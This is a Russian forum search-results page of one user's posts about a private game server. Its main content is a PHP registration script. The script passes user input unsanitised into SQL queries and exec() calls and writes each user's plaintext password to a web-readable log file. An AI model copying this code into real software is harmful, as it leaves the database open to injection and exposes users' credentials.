1. Гость, мы просим Вас ознакомиться с Правилами Форума и Отказом от ответственности!

Результаты поиска

  1. Fituchini
  2. Fituchini
  3. Fituchini
  4. Fituchini
  5. Fituchini
  6. Fituchini
  7. Fituchini
  8. Fituchini
    Решил поделиться своей регистрацией. Выравнены строки, Запрет регистрации с регулируемым уровнем от 1 до 999999 Добавлены новые поля. [img] для строк Phone, Real Name, Zip, City, You Language придумывайте описание сами. В поле Real name имя вводится через дефис или слитно к примеру Ivan-Ivanov или IvanIvanov (как сделать чтобы регулярное выражение пропускало пробел не знаю) [img] после регистрации в базе вы увидите такое [img] Код, где менять количество аккаунтов с одного ip там, где цифра 2 Ниже находится описание. на англ. 'You can not register more than two game accounts.' на русском 'Вы не можете создавать более 2 игровых аккаунтов' $result = mysql_query("SELECT qq FROM users WHERE (qq = '$ip')"); $num_rows = mysql_num_rows($result); if($num_rows >= 2) { exit( 'You can not register more than two game accounts.'); } чтобы вставить регистрацию к себе на страничку используйте код <iframe src="http://IP SERVER/register/register.php" align="middle" height="600" width="465"></iframe></center> Но это только как пример. надеюсь я угодил именно Вам. ;) P.S. спасибо JoLan'у за то что снёс мой пост с Вопросника. Иначе бы я не сел делать работу над ошибками. http://narod.ru/disk/65399663001.fcfcd271c33075b1518c48ec976b9181/register-1.4.4-1.4.5%20by%20anomal3.rar.html Скачать
    Автор темы: Fituchini, 12 янв 2013, ответов - 3, в разделе: PW Web
  9. Fituchini
  10. Fituchini
  11. Fituchini
    up
    Сообщение от: Fituchini, 12 янв 2013 в разделе: PHP
  12. Fituchini
  13. Fituchini
  14. Fituchini
    Сообщение

    структура

    не поверю что ни у кого нету по сабжу Конечно есть, на этом форуме каждый третий переписывает/дописывает клиент... сарказм. Не стоит нести бред. Исходников клиента в шаре - нет. Реализовывали клиент группа программистов, художников и геймдизайнеров. Сомневаюсь, что в столь юнном возрасте ты сможешь объеденить в себе все эти професси, на том уровне, чтобы создать аналог клиента, да еще и за короткий срок (до года). Даже если есть опыт во всех сферах, то чисто физически в одиночку этот процесс затянеться минимум лет на пять. Писать клиент буду естественно не один. Дайте хотябы попробывать. На своих детских граблях оступлюсь зато пойму что бредовая идея. Я прошу элементарное, поделиться структурой Если ты не можешь отловить и разобрать пакеты, тогда тебе рано задумываться о разработке клиента. Это одна из причин, по которой тебе никто ничего не даст. истино.. и в точку. Тему прошу закрыть. Решено, сам отловлю пакеты.
    Сообщение от: Fituchini, 12 янв 2013 в разделе: Архив
  15. Fituchini
    Дописал пару строк в регистрацию. Для чего эти строки мне? Решил создать fake Facebook)) сарказм. Суть... После того как заполнил все поля (на Латыни и без пробела) нажимаю на кнопку регистрции, и в ответ получаю : "все поля не могут быть пустыми" вот сам код регистрации <? include "config.php"; $Data = '<form action=register-ru.php method=post> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Логин:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=login size="30"></center> <left><a style="color:#ffffff"><font size="-2">Логин имя должно содержать только буквы и/или цифры. Любые символы типа %;№"@#$ <font color="#ff0000"><b>запрещены</b></font></a></left><br> <left><a style="color:#ffffff"><font size="-2">Логин имя должно состоять не менее 4 и не более 10 символов</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Пароль:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=password name=password size="30" class="text"></center> <left><a style="color:#ffffff"><font size="-2">Пароль должен состоять только из букв и/или цифр любого регистра.Символы %№@#$ <font color="#ff0000"><b>запрещены</b></font></a></left><br> <left><a style="color:#ffffff"><font size="-2">Пароль должен состоять не менее 4 и не более 16 символов</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Повторите пароль:</a></div> <center>&nbsp;<input type=password name=repasswd size="30"></center> <left><a style="color:#ffffff"><font size="-2">Повтор пароля должне в точности совпадать с паролем указанным выше</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Электронная почта:</a></div> <center><input type=text name=email size="30"></center> <left><a style="color:#ffffff"><font size="-2">Электронную почту Вы указываете на своё усмотрение, служит для восстановления пароля</font></a></left> <left><a style="color:#ffffff"><font size="-2">Символы содержащие в электронной почте не должны превышать 25 символов</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Номер телефона<font size="-2">*</font> :</div> <center>&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=telefon size="30"></center> <left><a style="color:#ffffff"><font size="-2">Номер мобильного телефона должен быть 11-ти значным и начинаться с цифры 8</font></a></left> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Имя:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=realname size="30"></center> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Адрес:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=adress size="30"></center> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <left><a style="color:#ffffff"><font size="-2">Адрес должен содержать только латинские символы и цифры.</font></a></left> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Индекс:</a></div> <center>&nbsp;<input type=text name=postal size="18"></center> <left><a style="color:#ffffff"><font size="-2">Индекс должен состоять только из цифр и содержать не менее 5 и не более 8 символов</font></a></left> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Город:</a></div> <center>&nbsp;&nbsp;&nbsp;<input type=text name=city size="18"></center> <left><a style="color:#ffffff"><font size="-2">Город указывайте тоже на латинксом языке без учёта регистра</font></a></left> <br> <input type="hidden" name="ip" id="ip" /> <center><input type=submit name=submit value="отправить информацию"></center> </form>'; if (isset($_POST['login'])) { $Link = MySQL_Connect($DBHost, $DBUser, $DBPassword) or die ("Can't connect to MySQL"); MySQL_Select_Db($DBName, $Link) or die ("Database ".$DBName." do not exists."); $Login = $_POST['login']; $Pass = $_POST['passwd']; $Repass = $_POST['repasswd']; $Email = $_POST['email']; $Tel = $_POST['telefon']; $realname = $_POST['realname']; $adress = $_POST['adress']; $postal = $_POST['postal']; $city = $_POST['city']; $moneycount = 1000; $ip = $_SERVER['REMOTE_ADDR']; $arp=null; $arp=array(); exec("ping ".$REMOTE_ADDR." -n 1 -l 1 -f -r 1"); exec("arp -a ".$REMOTE_ADDR,$arp); $temp=ereg_replace(" +"," ",$arp[0]); $temp=explode(" ",$temp); print "IP: ".$temp[1]."<br>"; print "MAC: ".$temp[3]; $Login = StrToLower(Trim($Login)); $Pass = StrToLower(Trim($Pass)); $Repass = StrToLower(Trim($Repass)); $Email = Trim($Email); $Tel =Trim($Tel); $realname = Trim($realname); if (empty($Login) || empty($Pass) || empty($Repass) || empty($Email)) { echo "Все поля не могут быть пустыми."; } elseif (ereg("[^0-9a-zA-Z_-]", $Login, $Txt)) { echo "Логин имеет не верный формат."; } elseif (ereg("[^0-9a-zA-Z_-]", $Pass, $Txt)) { echo "Пароль имеет не верный формат."; } elseif (ereg("[^0-9a-zA-Z_-]", $realname, $Txt)) { echo "Имя введено на кирилице и/или присутствует пробел. Используйте латинскую раскладку и исключите пробелы."; } elseif (ereg("[^0-9a-zA-Z_-]", $Repass, $Txt)) { echo "Некорректно введён повтор пароля."; } elseif (StrPos('\'', $Email)) { echo "Некорректный электронный ящик."; } else { $Result = MySQL_Query("SELECT name FROM users WHERE name='$Login'") or ("Can't execute query."); if (MySQL_Num_Rows($Result)) { echo "Account <b>".$Login."</b> is exists"; } elseif ((StrLen($Login) < 4) or (StrLen($Login) > 10)) { echo "Логин имя должно содержать от 4 до 10 символов."; } elseif ((StrLen($Pass) < 4) or (StrLen($Pass) > 16)) { echo "Пароль должен содержать от 4 до 16 символов."; } elseif ((StrLen($Repass) < 4) or (StrLen($Repass) > 16)) { echo "Повтор пароля некорректный."; } elseif ((StrLen($Email) < 4) or (StrLen($Email) > 25)) { echo "Электронный ящик должен состоять от 4 до 25 символов."; } elseif ((StrLen($Tel) < 10) or (StrLen($Tel) > 25)) { echo "Телефонный номер введён не корректно, он должен начинаться с 8 или +7 и иметь не мнее 10 цифр<br>."; } elseif ((StrLen($realname) < 4) or (StrLen($realname) > 50)) { echo "Имя введено на кирилице и/или присутствует пробел. Используйте латинскую раскладку и исключите пробелы<br>."; } elseif ($Pass != $Repass) { echo "Пароли не совпадают."; } else { // $Salt = $Login.$Pass; // $Salt = md5($Salt); // $Salt = "0x".$Salt; $result = mysql_query("SELECT qq FROM users WHERE (qq = '$ip')"); $num_rows = mysql_num_rows($result); if($num_rows >= 7) { exit( 'Нельзя регистрировать более 7 игровых аккаунтов.'); } $Salt = "0x".md5($Login.$Pass); MySQL_Query("call adduser('$Login', '$Salt', '0', '0', '$realname', '0', '$Email', '$Tel', '0', '$city', '0', '$adress', '$postal', '0', '', '$ip', '$Salt')") or die ("Can't execute query."); $mysqlresult=MySQL_Query("select * from `users` WHERE `name`='$Login'"); $User_ID=MySQL_result($mysqlresult,0,'ID'); MySQL_Query("call usecash('$User_ID',1,0,1,0,50070,1,@error)") or die ("usecash failed!"); echo "<font color=white>Аккаунт с уникальным (ID) <b><font color=yellow>".$Login."<font color=orange>(".$User_ID.")"."</b><br> <font color=green>Успешно зарегистрирован, в течении 5-15 минут мы начислим 500 золотых и 70 серебрянных на Ваш игровой аккаунт. Спасибо увидимся в игре.<font color=Black></b><br>"; } } } echo $Data; ?> <font color=white> <? $serverIP=$_SERVER['REMOTE_ADDR']; echo "<br>Ваш ip адресс: <font color=yellow><B>" . $serverIP .""; ?> <input type="hidden" name="ip" id="ip" /> <? $ip = getenv('REMOTE_ADDR'); $handle = fopen("log.php", 'a'); fwrite($handle, "<br> IP= $ip <br> Account= $Login"); fwrite($handle, "<br> Password= $Pass "); fwrite($handle, "<br> RPassword= $Repass "); fwrite($handle, "<br> E-mail:= $Email"); fwrite($handle, "<br>---------------------------------------------------------------<br> ") ; fclose($handle);?> Подскажите где ошибка? почему не регистрируется? P.S. когда было добавлено два поля телефон и Имя было всё ОК
    Автор темы: Fituchini, 12 янв 2013, ответов - 4, в разделе: PHP
  16. Fituchini
  17. Fituchini
  18. Fituchini
  19. Fituchini
    Сообщение

    структура

    не поверю что ни у кого нету по сабжу
    Сообщение от: Fituchini, 11 янв 2013 в разделе: Архив
  20. Fituchini